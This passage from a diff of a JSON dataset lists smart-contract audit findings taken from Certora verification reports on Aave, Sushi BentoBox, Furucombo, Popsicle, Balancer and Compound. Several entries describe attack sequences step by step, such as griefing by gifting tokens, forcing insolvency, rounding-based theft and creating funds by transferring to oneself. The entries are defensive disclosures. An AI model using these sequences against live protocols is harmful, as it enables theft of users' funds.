_AToken.balanceOf(vault), lastUpdated = now . Action 2: The amount of shares that the assets are worth is calculated through previewDeposit() . The simulation returns shares = (assets * totalSupply)/totalAssets ~= 90.099 , but after rounding down, the result will be shares = 90 . Action 3: From the amount of shares, the number of assets supplied to the pool is recalculated with _convertToAssets rounding up. The result of this calculation will be assets = (shares * totalAssets)/totalSupply = 90.9 = 91 . Action 4: The contract sends the 91 assets to the pool, which will mint 9 aToken with a worth of 90 underlying tokens. However, lastVaultBalance will be incremented by the full 91 assets that were passed to the function. Post State: At this point, the state of the contract is index = 10 Ray, totalSupply = 190 Ray, totalAsset = 101 + 90 = 191Ray, lastVaultBalance = 101 + 91 = 192 In this state, any call to accrueYield() will perform the calculation newYield = newVaultBalance - _s.lastVaultBalance which will immediately revert due to underflow. Example: Mitigation/Fix: Fixed in PR#70, merged in commit 32edfe6.", - "html_url": "https://www.certora.com/wp-content/uploads/2023/06/Aave-Vault-Formal-Verification-2.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "Description:", - "body": "Grifting - an attacker can prevent other users from withdrawing for a duration of a block An attacker can prevent other users from withdrawing part of their funds, or otherwise force revert by gifting assets to the vault. A gift can be given by directly transferring tokens to the vault at a block where accrueYield() is called. By doing this, the malicious player takes lastVaultBalance out of sync with _AToken.balanceof(vault) . At this stage, the share-to-asset ratio \fIssue: Grifting - an attacker can prevent other users from withdrawing for a duration of a block used to determine the amount of assets a user deserves for redeeming their shares is using _AToken.balanceof(vault) . However, upon redeem() , the withdrawn amount is deducted from lastVaultBalance . This mismatch in balance values may lead to reverting cases when the victim tries to withdraw an amount greater than the recorded lastVaultBalance . The amount of money that the attacker needs to gift the system in order to execute the attack successfully is determined by the following formula (it does not take rounding into account): giftAmount > totalAsset(t0) * [1] where [(totalShares(t0)/BobSharesToRedeem) - 1] totalAssets(t0) is the _AToken.balanceOf(vault) before the gift, totalShares(t0) is the amount of shares in the vault before the gift, BobSharesToRedeem is the amount of shares the victim desires to redeem, and giftAmount is the amount of assets needed to be gifted to the system by the attacker. Simply put, the gift is proportional to the total amount of reserves in the vault prior to the gift. A simple assignment shows that even for a victim that holds a significant share of the pool which is 50%, the amount needing to be gifted is greater than the total reserves that the pool backs up. Note: This is only valid for the same block the gift was transferred. In the next accrual, lastVaultBalance is synced, and the user can withdraw their funds. initial state: Consider the valid state totalAssets = 200, totalShares = 200 , where the entire 200 shares belong to a victim. Step 1: An honest user deposits 1 asset, which grants them 1 share. This brings the state of the contract to totalAssets = 201, totalShares = 201, lastVaultBalance = 201, lastUpdated = now Step 2: The attacker gifts 3 assets to the vault and takes lastVaultBalance out of sync with the _AToken.balanceOf(vault) . This brings the state of the contract to totalAssets = 204, totalShares = 201, lastVaultBalance = 201 . Post State: If the victim tries to redeem all their shares, the share-to-asset ratio will evaluate their 200 shares as 200 * 204/201 = 202 assets. When the code gets to the point where it updates lastVaultBalance , the function will revert due to underflow: lastVaultBalance = 201 - 202 . Example: Mitigation/Fix: Fixed in PR#82 merged in commit 385b397. The following 3 issues are derived from the same sequence of initial states and transactions and are a result of the same vulnerability. \fSeverity: Medium Issue: Insolvency - lack of reserves to backup the vault's shares Rules Broken: property #14 - getClaimableFees_LEQ_ATokenBalance property #15 - positiveSupply_imply_positiveAssets Given some initial state, an attacker can cause the protocol to deserve fees amounting to a larger value than its reserves. This means a state of insolvency. The coordinated transaction sequence described below relies on two things: 1. An optimization in the code that omits computation of the fees owed by protocol if such computation was already performed in the same block. 2. Although the vault uses the _AToken.balanceOf[vault] to track its reserves, it allows users to bypass the lastVaultBalance update (accrual) when gifting money to the protocol. The amount of money that the attacker needs to gift the system in order to execute the attack successfully is determined by the following formula (it does not take rounding into account): (totalAssets(t0) - Description: [2] where withdrawnAmount)/feePercentage <= giftAmount totalAssets(t0) is the _AToken.balanceOf(vault) before the gift, withdrawnAmount is the amount of assets being withdrawn by the attacker to cause the insolvency, feePercentage is the is the fee percentage charges by the vault, and giftAmount is the amount of assets needed to be gifted to the system by the attacker. During this griefing attack, the attacker loses a sum of: giftAmount * (1 - withdrawn_amount/totalAssets(t0)) . We can immediately see that the max loss to the attacker is the gift amount. [2] Example: The following scenario assumes that a 5% fee is deducted by the vault. initial state: Consider the valid state _accumulatedFees = 700, _AToken.balanceOf(vault) = 1700, lastVaultBalance = 1700, totalSupply = 1000 . From the definition, totalAssets() = 1700 - 700 = 1000 , the ratio of share-to-asset is 1:1 . Step 1: An attacker is gifting the vault 620 assets by a call to withdrawATokens() with the vault as the recipient. This updates the state of the contract to be: _accumulatedFees = 700, _AToken.balanceOf(vault) = 1700, lastVaultBalance = 1080, totalSupply = 380 , lastUpdated = now , which implies the share- to-assets ratio is now around 1:2.63 . Step 2: On the same block, the attacker, which holds an adequate amount of shares in the pool, withdraws 970 assets by redeeming ~369 shares. Due to optimization on the update block, totalAssets() is using a stored, outdated amount of fees deserved by the protocol instead of computing the value using lastVaultBalance . The recorded value \fIssue: Insolvency - lack of reserves to backup the vault's shares is totalSupply = 1700 - 700 = 1000 . Post State: Following step 2, the state of the contract is now: _accumulatedFees = 700, _AToken.balanceOf(vault) = 730, lastVaultBalance = 110, totalSupply = ~11 . In the next block ( time > now ), the function getClaimableFees() returns 700 + 0.05*(730 - 110) = 731 , while _AToken.balanceOf(vault) = 730 . A call to withdrawFees() with the entire reserve sum (or less) will cause insolvency, meaning shareholders have no assets to backup their shares. Note: this broken state is \"eternal\". Even without withdrawing fees, once _accrueYield() is being performed, the state variable _accumulatedFees will be updated to the \"bad\" value, 731. Mitigation/Fix: Fixed in PR#82 merged in commit 385b397.", - "html_url": "https://www.certora.com/wp-content/uploads/2023/06/Aave-Vault-Formal-Verification-2.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "Complete DoS of the contract due to revert of totalAssets()", - "body": "Rules Broken: property #14 - getClaimableFees_LEQ_ATokenBalance Description: Following the scenario described in the issue above, the final state constitutes getClaimableFees() > _AToken.balanceOf(vault) , which, as we explained, will remain eternal once an accrual is being performed at one of the next blocks. This state results in a revert of any call to totalAssets() due to the underflow of the definition - ATOKEN.balanceOf(vault) - getClaimableFees() . This practically DoS the system completely since every function calls totalAssets() through convertToAssets or convertToShares . Mitigation/Fix: Fixed in PR#82 merged in commit 385b397.", - "html_url": "https://www.certora.com/wp-content/uploads/2023/06/Aave-Vault-Formal-Verification-2.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "Misinformation - previewRedeem() returns a larger amount of", - "body": "assets than an immediate redeem() Rules Broken: property #14 - getClaimableFees_LEQ_ATokenBalance Description: Following the scenario described in the previous issue, if instead of performing Step 2, an honest user calls previewRedeem() at the same block, the returned value of the preview will be calculated according to the broken ratio ( 1:2.63 shown in the example). If the user calls redeem() at the next block, the amount of assets transferred to them will be smaller than expected, according to a lower ratio ( 1:2.55 shown in the example). This is because upon \fIssue: Misinformation - previewRedeem() returns a larger amount of assets than an immediate redeem() redemption, _accrueYield() is called, which causes a reduction in totalAssets() by feePercentage * (ATOKEN.balanceOf(vault) - lastVaultBalance) . Mitigation/Fix: Fixed in PR#82 merged in commit 385b397.", - "html_url": "https://www.certora.com/wp-content/uploads/2023/06/Aave-Vault-Formal-Verification-2.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Loss of fees, overcharge of fees due to rounding", - "body": "Rules Broken: property #13 - lastVaultBalance_OK Description: The storage variable _s.lastVaultBalance marks the portion of reserves for which the vault has already charged fees. In every call to accrueYield() , the vault charges fees only from the new yield accrued since the last fee charge - ATOKEN.balanceOf(Vault) - _s.lastVaultBalance . Thus, it is expected that after every accrual, _s.lastVaultBalance will be equal to ATOKEN.balanceOf(Vault) . However, the system may reach a mismatch between the two values when depositing to or withdrawing from the vault due to different update mechanisms. While _s.lastVaultBalance is being updated with the exact assets amount passed to the function, aToken uses rayMath to update the ATOKEN.balanceOf(Vault) . While the former is exact, the latter is subject to rounding and may differ from the passed assets amount. At the end of a deposit() or withdraw() , the vault may reach a state where _s.lastVaultBalance == ATOKEN.balanceOf(Vault) \u00b1 1 . Since this scenario may repeat itself, the vault generally may reach a state where _s.lastVaultBalance == ATOKEN.balanceOf(Vault) \u00b1 k , where k is the number of such occurred deposits or withdraws. For the + case, the next time the Vault accrues yield, it will lose its fee from that k unaccounted tokens. For the - case, the next time that the Vault accrues yield, it will gain money it does not deserve on account of the Vault's users. In some extreme cases, the system may even enter an insolvency similar to the one explained in the insolvency bug above. Mitigation/Fix: Fixed in PR#86 merged in commit 385b397.", - "html_url": "https://www.certora.com/wp-content/uploads/2023/06/Aave-Vault-Formal-Verification-2.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Frontrun - avoiding fee charges for gifts given to the protocol", - "body": "Description: The vault intends to charge fees for any yield generated in the Aave pool. This is done by tracking the vault's balance internally at each state-changing method ( lastVaultBalance ) and ensuring that only changes in aTokens' value are accounted for when calculating the fee. However, due to the \"same block\" optimization that is mentioned in the insolvency issue above, a user can front-run a withdrawFees() call and ensure that the vault does not charge fees for any gifts given to the protocol at a block where accrual has already occurred. \fIssue: Frontrun - avoiding fee charges for gifts given to the protocol Detailed Attack: 1. A user sees that the vault owner wants to withdraw fees. 2. The user invokes an action that will trigger accrueYield() and update the state to lastUpdated = now . This can be done cheaply by depositing dust in the vault. At this point, there are a few ways that the user can gift money to the protocol, which will not be counted when calculating fees: 3.a. The user can transfer aTokens directly to the vault. 3.b. The user can redeem shares and send the gains directly to the vault. 3.c. The user can gift money directly to the pool by using the backUnbacked functionality, for example, and increase the liquidity index. 4. When withdrawFees() is invoked, getClaimableFees() returns the stored accumulatedFees instead of recalculating the fee and taking the new yield generated in this block into account. Mitigation/Fix: Fixed in PR#82 merged in commit 385b397.", - "html_url": "https://www.certora.com/wp-content/uploads/2023/06/Aave-Vault-Formal-Verification-2.pdf", - "labels": [ - "Certora", - "informational" - ] - }, - { - "title": "Rules Broken:", - "body": "Description: Non-compliance of the preview methods with the EIP4626 standard properties: #2 - previewDeposit_has_NO_threshold #4 - previewMint_has_NO_threshold #6 - previewWithdraw_has_NO_threshold #8 - previewRedeem_has_NO_threshold As per EIP4626, all the preview functions must not take into account any limitation of the system, like those returned by the max() methods. In the contract, the preview methods do take into account system limitations. For example let m be the value returned by maxDeposit() . Then value returned from previewDeposit(m1) is identical to the value returned from previewDeposit(m) for every m1>m . As per EIP4626, all the preview functions may revert due to other Mitigation/Fix: conditions that would also cause primary functions to revert. Relying on Aave is acceptable, given that primary functions are impacted by its limitations (e.g. users cannot withdraw if there is no available liquidity in the Aave Pool).", - "html_url": "https://www.certora.com/wp-content/uploads/2023/06/Aave-Vault-Formal-Verification-2.pdf", - "labels": [ - "Certora", - "Informational" - ] - }, - { - "title": "Withdraw extra assets", - "body": "Rules Broken: Total assets of user Description: A user can withdraw an amount that, due to rounding, reduces their balance by shares that correspond to a lower amount and transfer the amount requested. One can repeat this step until no profit is left in the system. Mitigation: Use explicit rounding up/down depending on the context to have the system always benefit from rounding errors.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/SushiBentoboxFeb2021.pdf", - "labels": [ - "Certora", - "High" - ] - }, - { - "title": "Withdraw of profit", - "body": "Rules Broken: No change to others Description: In case there is profit in the BentoBox, a user can withdraw an amount that is less than one share which would be rounded down to zero share, and repeat this operation until no profit is left in the system. Mitigation: Withdraw of at least one share", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/SushiBentoboxFeb2021.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "Lock of assets", - "body": "Rules Broken: Inverse of deposit and withdraw Description: Users can not withdraw and leave the BentoBox below some minimum threshold. Mitigation: Reduce the minimum to an insignificant amount www.certora.com \fSeverity: Medium Issue: Denial-of-service on flashloan Rules Broken: N/A Description: When the system has excess tokens, a valid flashloan returning the exact required amount fails. Mitigation: Weaken requirement to take into account the excess collateral", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/SushiBentoboxFeb2021.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "Inconsistent representation of total assets", - "body": "Rules Broken: Solvency Description: Incorrect updating of negative profit from strategy for support of future strategies. Mitigation: New interface for strategies www.certora.com \f", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/SushiBentoboxFeb2021.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Potential memory overwrite of the local stack", - "body": "Rules Broken: Memory safety Description: In proxy.sol:_parse, if the handler returns length in [1..31], the new index will remain equal to index in _parse, thus allowing to overwrite it in the next iteration of the loop in _execs. Fix: The expectations about valid handler outputs should be checked: the return length is checked to be a multiple of 32.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", - "labels": [ - "Certora", - "High" - ] - }, - { - "title": "HAaveProtocol executeOperation can be delegatecall-ed directly", - "body": "from Proxy Rules Broken: onlyValidCaller; The executeOperation should only be delegatecalled by the Proxy when the flashLoan is initiated by Furucombo. Description: The executeOperation serves as the callback for the flashloan, but in fact it can be called directly from the proxy too. This can be confusing to users and may lead to donation of funds to the lending pool. Fix: executeOperation should be called by a valid caller, in particular the Aave contract.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "Handler outputs are limited to types that are in multiples of 32 bytes,", - "body": "otherwise return data length and number of return values may not match Rules Broken: Memory safety www.certora.com \fDescription: In Proxy.sol:_execs, if the handler returns a buffer of length in [1..31], and the number of arguments is 0, then data is copied into the local stack while not matching the 32-byte offset packing. The require may pass trivially if the config is set to match to the newly computed newIndex. Fix: Handler return buffers should be 32-byte aligned to be parsed correctly - fixed.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "Untrusted handler may overwrite memory", - "body": "Rules Broken: Memory safety Description: In Proxy.sol:_exec - returndatasize can be arbitrary, and cause a memory overflow when computing the new value of free memory pointer in _exec. For comparison, when the Solidity compiler handles a function that returns a dynamic type parameter such as an array, it adds various checks that bound the length of the array returned, and forces the increase to be 32-byte aligned. Mitigation: Overflow of the free memory pointer due to huge returndatasize value is infeasible thanks to gas.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "Getter functions should be marked view", - "body": "Rules Broken: noOverwrite Description: Calling external contracts may lead to reentrancy which in turn could have adverse effects, such as modifying the state of the contract in unexpected ways. For example: - IAToken underlyingAssetAddress - IComptroller getCompAddress Fix: External functions that are not expected to modify the state should be marked view in the relevant interface, to guarantee that the www.certora.com \fSolidity compiler uses STATICCALL opcode which is safer reentrancy-wise.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "batchExec can be called if sender is already set.", - "body": "Rules Broken: Only a limited number of operations are allowed when the sender is initialized Description: batchExec unexpectedly succeeds despite the sender being initialized. This is because setSender() is idempotent and does not revert if trying to run it a second time (see related issue). This may mean reentrancy is allowed and hijacking of funds is possible. The other checks (that the cube counter is zero, and that the stack is empty) should make such a reentrancy impossible, but reasoning about it is more complicated and thus could be prone to errors in future versions. (For example, if an attacker is able to overflow the stack length field, and the cube counter, then such a reentrancy is made possible.) Fix: halt and banned agent checks are added before external functions in Proxy.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "Description:", - "body": "HFunds: getBalance should have the same conditions as _getBalance The _getBalance function in handler base is using 0xeee.. and 0x0 as both indicators to using native ETH token. But HFund\u2019s getBalance function is only comparing against 0x0. This is confusing and potentially could cause errors in handlers\u2019 executions. Fix: HFunds getBalance was changed to call to the internal _getBalance function.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "HFunds: sendTokens can have unexpected eth balance modification", - "body": "www.certora.com \fDescription: The token \u201c0\u201d address can be passed multiple times, and nowhere it is checked that the sum of eth amounts is equal to msg.value (or to the current working balance).", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Can unregister a caller or handler via the matching register function", - "body": "Rules Broken: Registration of handlers can only be modified by the relevant functions Description: Registry.sol - One can deprecate a handler via the register function, or a caller via the registerCaller function, by giving the \u201cdeprecated\u201d info directly. This is potentially confusing since a dedicated function exists for that end. Fix: Disallow deprecation via register functions.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "2 issues: Halting can be irreversible; banning can be irreversible", - "body": "Rules Broken: haltingIsReversible, banningIsReversible Description: Registry.sol - If ownership is renounced in a state where the system is halted, it will be impossible to go back to non halted state. Same is true for the state where an agent is banned, and ownership is renounced. The agent can never be unbanned. Mitigation: No action necessary.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "batchExec can be called on a proxy that was banned by its registry", - "body": "Rules Broken: nonExecutableByBannedAgents Description: Proxy.sol/Registry.sol - A proxy is also called an agent by the registry. Banning the proxy in the registry disallows certain callbacks www.certora.com \fto be calling into the proxy, but the top-level batchExec can still be called, and even fully execute (unless there are callbacks to it). Fix: Extend the check of banned agent + halting to batchExec.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Can set a sender a second time without any update", - "body": "Rules Broken: nonExecutableWithInitializedSender Description: Storage.sol - The_setSender() function can be called more than once with a non-zero address, but the second call has no effect. This could lead to unexpected results. (This issue is related to \u201cbatchExec can be called if sender is already set.\u201d which is the more concrete effect of this behavior). Fix: Revert in _setSender() if the sender is already set.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Description:", - "body": "In LibStack.sol:setHandlerType, _input can have type HandlerType instead of uint256 enum type are uint8 and have Solidity compiler generated checks of compliance, so it\u2019s recommended to use. This also relieves of the need to check the input against uint96. Fix: Change the type of _input to the enum type", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Unused return variable", - "body": "Description: In Registry.sol and Proxy.sol, the functions isValidHandler(), isValidCaller(), _isValidHandler() and _isValidCaller(), return `result` by their definition, although this variable\u2019s value is never set. Fix: Omit the return variable name from the function definition. www.certora.com \fSeverity: Recommendation Issue: Hard to read code Description: In Proxy.sol, in _execs() function, the code block handling referenced configs can be simplified by hoisting the call to _exec. In LibParam.sol, the loop counting references in getParams() function can be simplified.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Use an immutable for the registry address", - "body": "Description: Storage.sol/Proxy.sol - In case a vulnerable or malicious handler is executed via delegatecall, one privilege escalation method is to override the value stored at the registry slot to point to an alternative registry that allows malicious handlers and callers. Solidity\u2019s immutable feature allows to hard-code the address of the proxy\u2019s registry. www.certora.com \f", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/FurucomboMay2021.pdf", - "labels": [ - "Certora", - "Recommendation" - ] - }, - { - "title": "Issue:", - "body": "Loss of assets Loss of assets Description: RepayWithATokens function lacks an HF check, can be exploited to withdraw liquidity from the system for free. Mitigation/Fix: Canceled repayment with ATokens on behalf of another user Property violated:", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/AaveV3Jan2022-1.pdf", - "labels": [ - "Certora", - "" - ] - }, - { - "title": "Issue:", - "body": "Risk Exposure Risk Exposure Description: User can come to hold both an isolated and a non-isolated assets as collaterals upon calling AToken.transfer(), liquidation call and mintUnbacked(). Can be exploited to surpass the debt ceiling Mitigation/Fix: A check for isolation mode was added to the functions Property violated:", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/AaveV3Jan2022-1.pdf", - "labels": [ - "Certora", - "" - ] - }, - { - "title": "Issue:", - "body": "Loss of assets Loss of assets Description: Confusion of Asset and EMode price feed for liquidations Mitigation/Fix: Price Sources are called according to EMode Property violated: Emode source price usage \fMedium", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/AaveV3Jan2022-1.pdf", - "labels": [ - "Certora", - "" - ] - }, - { - "title": "Issue:", - "body": "Loss of Users' Profitability Loss of Users' Profitability Description: EMode liquidation may use wrong liquidation bonus Mitigation/Fix: Bonus rewarded correctly according to EMode Medium", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/AaveV3Jan2022-1.pdf", - "labels": [ - "Certora", - "" - ] - }, - { - "title": "Issue:", - "body": "Loss of revenue Loss of revenue Description: When repaying with aToken, the interest rate is updated as if we provided the equivalent liquidity in underlying instead of in AToken. In fact there\u2019s no liquidity provided to the system. It can be used to manipulate the interest rates. Mitigation/Fix: Call to rates updating function was changed to use 0 as the added liquidity Rule Coverage:", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/AaveV3Jan2022-1.pdf", - "labels": [ - "Certora", - "" - ] - }, - { - "title": "Issue:", - "body": "Integrity of ReserveList Integrity of ReserveList Description: _addReserveToList function will push a new reserve into all empty spots of the reserves list, instead of just the first one Mitigation/Fix: A return call was inserted to the loop Rule Coverage: The same asset should not appear twice on the reserves list Recommendation", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/AaveV3Jan2022-1.pdf", - "labels": [ - "Certora", - "" - ] - }, - { - "title": "Issue:", - "body": "Denial of Service Denial of Service Description: Users can be forced into isolation mode through supply(),AToken.transfer() functions, thus temporarily preventing them from borrowing other assets Property violated: Informative Rule: Check which functions can revert for one user due to another user's action Mitagation/Fix: User can withdraw asset of isolation mode", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/AaveV3Jan2022-1.pdf", - "labels": [ - "Certora", - "" - ] - }, - { - "title": "Theft of yield", - "body": "Description: When calling rebalance, the share price goes up as the imbalanced token is being invested. Thus anyone buying shares in deposit right before rebalance is called and withdrawing right after rebalance, will make no-risk pro\ufb01t at the expense of the investors. Mitigation/Fix: Include the imbalanced token amount in share price calculation.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/PopsicleV3OptimizerVerificationReport05Nov2021.pdf", - "labels": [ - "Certora", - "High" - ] - }, - { - "title": "Loss of yield", - "body": "Description: When a user withdraws his shares a long time after the last rebalance call, he won\u2019t get his part of the imbalanced token. Mitigation/Fix: At withdrawal, give the user his part also in the imbalanced token.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/PopsicleV3OptimizerVerificationReport05Nov2021.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "Possible to deposit when tick is out of range", - "body": "Description: When the tick is out of range, users can still deposit, and that\u2019s not lucrative. Mitigation/Fix: In deposit, check that tick is in range. www.certora.com \fSeverity: Low Issue: Minor loss of shares Description: When withdrawing, due to signi\ufb01cant rounding down, some shares might be lost. Mitigation/Fix: Compute back the shares to burn.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/PopsicleV3OptimizerVerificationReport05Nov2021.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Commingling investors assets with governance assets", - "body": "Description: After collecting fees the governance would invest it together with its clients. Mitigation/Fix: Fixed", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/PopsicleV3OptimizerVerificationReport05Nov2021.pdf", - "labels": [ - "Certora", - "Recommendation" - ] - }, - { - "title": "Collecting fees as a share of investors income", - "body": "Description: Collecting fees as a share of investors income regardless of the incurred expenses, may raise the issue of con\ufb02ict of interest. Mitigation/Fix: Taken into consideration", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/PopsicleV3OptimizerVerificationReport05Nov2021.pdf", - "labels": [ - "Certora", - "Recommendation" - ] - } -] \ No newline at end of file +[{"title": "(M1) Unexpected root claims", "body": "Executing a previously scheduled scheduleRootChange can result in an unexpected root claim. Here are two exemplary plausible scenarios that can lead to this issue: Erroneous Double Scheduling: The root can mistakenly schedule a root change twice to Alice. Alice then claims root powers. If Alice transfers root permissions to Bob at any point in the future, she could still claim herself as root by executing the other scheduled root transfer to herself. Intentional Backdoor: A root can schedule a root transfer to itself without executing it. At any later time, the original root can execute this root change and revoke root privileges from the current root. The security assumption is that the root is not malicious. It does not prevent this attack unless it is assumed that the current root and all previous roots in the system\u2019s history are not and will never be malicious. Additionally, the \ufb01rst scenario above does not necessarily stem from malicious intentions but rather from mistrust between the roots or execution mistakes. For example, if the system was deployed and initialized with an EOA root address, and later the root privileges were claimed by a DAO, we may not trust the EOA anymore, as it has no time delays or transparency, and it can be compromised. \fResponse Balancer is aware of this issue. Similarly, it can be used to avoid delays if a scheduled action is already in place. However, it is di\ufb03cult to keep track of the scheduled executions for speci\ufb01c actions and update them if the corresponding execution is executed or canceled. Balancer\u2019s team has deemed the added complexity of such a process to be not worthwhile.", "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal-Verification-of-Balancer-TimelockAuthorizer-1.pdf", "labels": ["Certora", "Medium"]}, {"title": "(L1) Non-root users could get roots permissions", "body": "Somebody could get root permissions if there was a mistake in granting arguments and then make another malicious user an executor for an action they weren\u2019t supposed to execute. Response The permission system was rewritten. Under the new system, there is no non-root global granter.", "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal-Verification-of-Balancer-TimelockAuthorizer-1.pdf", "labels": ["Certora", "Low"]}, {"title": "(L2) Can create a canceler for a non existing scheduledExecutionId", "body": "The addCanceler() function does not prevent the root from mistakenly adding a canceler to a non-existent execution. This is because there are no checks that the scheduledExecutionId exists and because _isCanceler is a mapping, no out-of-bounds exception will occur. If a malicious user cancels future executions with that scheduledExecutionId, it can cause delays for sensitive tasks that must be rescheduled. \fResponse The scheduledExecutionId for an action cannot be predicted because it depends on others scheduling actions. Creating a canceler for an unknown id is unreasonable and, therefore, always a mistake. We updated the code to only allow creating cancelers for existing executions that have not been canceled or executed, or global cancelers.", "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal-Verification-of-Balancer-TimelockAuthorizer-1.pdf", "labels": ["Certora", "Low"]}, {"title": "(L3) The system can be stuck with address(0) root", "body": "If the default address value, address(0), is used as both the current and pending root when deploying the contract, the root will be invalid. This error cannot be recovered because only the root can set a new pending root. Response This is not an issue because the migrator forces the root to interact when deploying the contract.", "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal-Verification-of-Balancer-TimelockAuthorizer-1.pdf", "labels": ["Certora", "Low"]}, {"title": "(L4) Nobody with root permissions", "body": "If _pendingRoot and _root were equal, then after claiming root, there would be no one with root permissions. Response The issue was resolved after a rewrite of the permission system. \fSeverity: Informational Issue Inconsistency in adding and removing permissions Description There is an option to grant speci\ufb01c permissions to someone who already has global permissions for a given actionId and account. But there isn\u2019t the opposite option, to revoke a speci\ufb01c permission from someone if they have global permission. Response We disallowed granting speci\ufb01c permission to someone who already has global permissions.", "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal-Verification-of-Balancer-TimelockAuthorizer-1.pdf", "labels": ["Certora", "Low"]}, {"title": "Execution delay can be smaller than MIN_DELAY", "body": "The check for the MIN_DELAY is not on the parameter that the data contains, so it was possible to set the delay below the MIN_DELAY. Response Balancer renamed the variable to _MINIMUM_CHANGE_DELAY_EXECUTION_DELAY to convey its meaning better.", "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal-Verification-of-Balancer-TimelockAuthorizer-1.pdf", "labels": ["Certora", "Informational"]}, {"title": "Loss of assets in BentoBox", "body": "Rules Broken: allTokensAreInvested, integrityHarvest Description: When harvesting the profits, cTokens are transferred to BentoBox instead of the invested token. Fix: Transfer the invested token instead of cToken.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/SushiCompoundStrategyApr2021.pdf", "labels": ["Certora", "Critical"]}, {"title": "Loss of assets in BentoBox", "body": "Rules Broken: allTokensAreInvested, integrityExit Description: When exiting the strategy, all the tokens are passed to the owner instead of to BentoBox. Fix: Transfer to BentoBox instead of the owner. www.certora.com \f", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/SushiCompoundStrategyApr2021.pdf", "labels": ["Certora", "Critical"]}, {"title": "Creating collateral from nothing by using transferCollateral", "body": "Description: When calling transferCollateral() the new balances of the sender and the recipient are calculated and stored in two steps. Since the calculation is being done first for both users, it is possible to create funds from nothing by specifying src = dst . In this case the increment of dst balance overwrites the decrement of the src balance, effectively increasing the balance by the amount given. Properties Violated: Total collateral per asset (property #1) Verify transferAsset (property #12) Compound Response: This issue was fixed in commit c0d8a11f424747204ce680f0fe17441368f4d85c.", "html_url": "https://www.certora.com/wp-content/uploads/2022/06/CometReport-1.pdf", "labels": ["Certora", "Critical"]}, {"title": "Creating base token from nothing by using transferBase", "body": "\fIssue: Creating base token from nothing by using transferBase Description: When calling transferBase() the new balances of the sender and the recipient are calculated and stored in two steps. Since the calculation is being done first for both users, it is possible to create funds from nothing by specifying src = dst . In this case the increment of dst balance overwrites the decrement of the src balance, effectively increasing the balance by the amount given. Properties Violated: Total base token (property #5) Verify transferAsset (property #12) Compound This issue was fixed in commit Response: c0d8a11f424747204ce680f0fe17441368f4d85c.", "html_url": "https://www.certora.com/wp-content/uploads/2022/06/CometReport-1.pdf", "labels": ["Certora", "Critical"]}, {"title": "Wrong calculation of principalValue", "body": "Description: The function principalValue() is using the functions presentValueSupply() and presentValueBorrow() to calculate the principle value. It should use principalValueSupply() 